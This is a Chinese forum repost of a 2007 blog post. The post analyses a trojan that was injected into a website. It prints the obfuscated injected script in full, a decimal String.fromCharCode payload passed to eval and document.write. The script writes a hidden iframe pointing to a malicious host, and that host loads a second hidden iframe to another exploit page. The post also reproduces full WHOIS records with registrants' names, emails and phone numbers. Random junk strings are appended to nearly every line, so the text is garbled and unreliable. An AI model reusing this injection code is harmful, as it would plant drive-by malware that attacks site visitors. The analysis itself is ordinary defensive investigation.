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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, ~$obcW1  
@8d})X33  
http://www.areway.cn/?p=175 _C#( )#  
?S7:KnU>K  
;rdLYmmx^  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: ]lG\t'R  
          jJnBwHp  
<script>t=’60,105,102,114,97,109,101, bL[W.O0  
32,115,114,99,61,104,116,116,112,58,47,47, W8rn8Rh  
102,114,101,101,46,117,45,117,117,117,46,99, *==nOO9G  
110,47,101,114,114,111,114,46,104,116,109, '0]_8Sy&  
32,119,105,100,116,104,61,49,48,48,32,104, !|QeYGnq6  
101,105,103,104,116,61,48,62,60,47,105,102, @Oay$gP{T  
114,97,109,101,62′; C&"2`ll  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 7Zn Q] ?  
                                                                                                  tzN;;h4C  
<script>t=’60,105,102,114,97,109,101,32,115, /Bu5k BC  
114,99,61,104,116,116,112,58,47,47,102,114, d> AmM!J  
101,101,46,117,45,117,117,117,46,99,110,47, iR=aYT~  
101,114,114,111,114,46,104,116,109,32,119, a6#PZ!1  
105,100,116,104,61,49,48,48,32,104,101,105, ^aoLry&i=  
103,104,116,61,48,62,60,47,105,102,114,97, 6Ky"4\e  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)');  ?wY.B  
document.write(t);</script> gJv^v`X  
                                                                                                  Q1B! W  
<html xmlns=” |0%UM}  
http://www.w3.org/1999/xhtml Jxp'.oo[  
“> ~q>ilnL"h  
<head> 73`UTXvWU  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> n-.k&B{a  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> d)sl)qt}0  
<title>首页 - 爱生活家庭网 aE$p;I  
                                                                                                                                                    a5&j=3)|  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 fs12<~+z  
转换字符串后的大概内容是(谁点击后果自付): A1;t60z+q>  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… <K'gvMG[  
                                                                                                                                  Vs{sB*:  
查询玉米u-uuu.cn的详细信息: FX 3[U+  
Domain Name: u-uuu.cn gf>5xf{M  
ROID: 20070901s10001s64972306-cn m %3Kq%?O  
Domain Status: ok "j>0A Hem  
Registrant Organization: 王雷 \H(,'w7H  
Registrant Name: 王雷 2>s;xZ@/'R  
Administrative Email: czlovexs@126.com ugP R)tDfM  
Sponsoring Registrar: 北京万网志成科技有限公司 ?A>-_B  
Name Server:ns.yovole.com uIwyan-  
Name Server:ns1.yovole.com lEs/_f3;A  
Registration Date: 2007-09-01 17:54 3!x)LUWfWY  
Expiration Date: 2008-09-01 17:54 )9->]U@  
最后PING了一下地址 都没有什么…. 8hT>)WH}wo  
                                                                                                ?H?r!MZ%  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. Z;:-8 HPDY  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> tDkqwF),  
<script language=”javascript” src=” `#bcoK5  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script JN!YRcj  
> Bnv%W4  
这个玉米应该有可能是木马作者的: R4;6Oi)  
foafau.info的详细信息: G7?EaLsfQ  
Access to INFO WHOIS information is provided to assist persons in N h%8;  
determining the contents of a domain name registration record in the v~3q4P  
Afilias registry database. The data in this record is provided by us+adS.l&  
Afilias Limited for informational purposes only, and Afilias does not X}Fv*  
guarantee its accuracy.  This service is intended only for query-based V ZGhF!To  
access. You agree that you will use this data only for lawful purposes 1[ Pbsb  
and that, under no circumstances will you use this data to: (a) allow, Q1yTDJ(2  
enable, or otherwise support the transmission by e-mail, telephone, or C5z4%,`f  
facsimile of mass unsolicited, commercial advertising or solicitations @pz2}Hd |  
to entities other than the data recipient’s own existing customers; or &I=q%  
(b) enable high volume, automated, electronic processes that send )M~5F,)  
queries or data to the systems of Registry Operator, a Registrar, or ?`$4ZDM  
Afilias except as reasonably necessary to register domain names or |Gi/=[Tp  
modify existing registrations. All rights reserved. Afilias reserves 7;{F"/A  
the right to modify these terms at any time. By submitting this query, gy.; "W  
you agree to abide by this policy. 7Jk.U=vY  
Domain ID:D22418703-LRMS }Of^Y@{q.  
Domain Name:FOAFAU.INFO = '[@UVH(Z  
Created On:20-Nov-2007 16:05:42 UTC 5KzU&!Zh9  
Last Updated On:20-Nov-2007 16:05:44 UTC '%N p9Iqt  
Expiration Date:20-Nov-2008 16:05:42 UTC N 1rrKyL!$  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) COafVlJ,l  
Status:CLIENT DELETE PROHIBITED \D=B-dREq  
Status:CLIENT RENEW PROHIBITED J/Li{xp)Lg  
Status:CLIENT TRANSFER PROHIBITED +W`~bX+  
Status:CLIENT UPDATE PROHIBITED pppbn]%Ob  
Status:TRANSFER PROHIBITED )uP= o  
Registrant ID:GODA-040110615 b3H;Ea?^^<  
Registrant Name:liu hong "cx" d:  
Registrant Organization: m" Gr pE3  
Registrant Street1:beijing :&MiO3#+  
Registrant Street2: 04:Dbt~=?p  
Registrant Street3: 4Ki'r&L\  
Registrant City:beijing rxA<\h,A  
Registrant State/Province: P^UcpU,  
Registrant Postal Code:100000 7w|s8B  
Registrant Country:CN .755-S  
Registrant Phone:+86.860108888777 k?,g:[4!  
Registrant Phone Ext.: p-Ju&4fS  
Registrant FAX: 2bmppDk  
Registrant FAX Ext.: Rk<:m+V=  
Registrant Email:bbbshiji@163.com ( _2eiE71  
Admin ID:GODA-240110615 l:+1j{ d7  
Admin Name:liu hong #@ G2n@Hj  
Admin Organization: }V{, kK  
Admin Street1:beijing iVRz  
Admin Street2: 'J}lnt[V  
Admin Street3: bc-"If Z&  
Admin City:beijing _" n4SXhq  
Admin State/Province: |Cm}%sgR\0  
Admin Postal Code:100000 (@zn[ Nq  
Admin Country:CN TocqoYX{{  
Admin Phone:+86.860108888777 k6XO-a f  
Admin Phone Ext.: 6tM{cK%v1  
Admin FAX: -kO=pYP*O  
Admin FAX Ext.: ocvBKsfhE`  
Admin Email:bbbshiji@163.com D c^d$gh  
Billing ID:GODA-340110615 +x`tvo  
Billing Name:liu hong lU?"\m  
Billing Organization: XB?!V|bno  
Billing Street1:beijing +_<# 8v  
Billing Street2: -{?Rq'H  
Billing Street3: _v\QuI6  
Billing City:beijing "F^EfpcJ{9  
Billing State/Province: S $Wd}2>  
Billing Postal Code:100000 .s+e hZ  
Billing Country:CN KvgZx(.  
Billing Phone:+86.860108888777 u[% #/  
Billing Phone Ext.: j2z$kw%  
Billing FAX: wBf bpoE7  
Billing FAX Ext.: Tb[GZ,/%;  
Billing Email:bbbshiji@163.com U[ed#9l>  
Tech ID:GODA-140110615 l!1bmg#]$  
Tech Name:liu hong UCQL~  
Tech Organization: W$y?~2  
Tech Street1:beijing "H({kmR  
Tech Street2: x-"7{@lz  
Tech Street3: N4Ym[l  
Tech City:beijing nv={.H  
Tech State/Province: JO$0Z  
Tech Postal Code:100000 X@ss d  
Tech Country:CN Y\rKw!u_!  
Tech Phone:+86.860108888777 _T1e##Sq,  
Tech Phone Ext.: y Le5,  
Tech FAX:  :sf;Fq  
Tech FAX Ext.: ixp%aRRP  
Tech Email:bbbshiji@163.com ]2<g"zo0  
Name Server:NS27.DOMAINCONTROL.COM ~=71){4A  
Name Server:NS28.DOMAINCONTROL.COM fRbVc  
Name Server: TZ/u"' ZS  
Name Server: F>&8b^v bn  
Name Server: Ruf*aF(  
Name Server: _*+M'3&=  
Name Server: yO !*pC  
Name Server: h0GXN\xI  
Name Server: hAY_dM  
Name Server: [=iq4F'7  
Name Server: f"[C3o2P  
Name Server: (Fu9lW}n  
Name Server: |i|O9^*%  
                                                                                                          $wBUu   
接着下载每个文件里面的代码: ;gF"o5/Q  
一步一步看.. , vR4x:W  
}\9qN!ol  
GK)hK-  
*2 [r?!  
-v]7}[ .[  
Q>|<R[.7  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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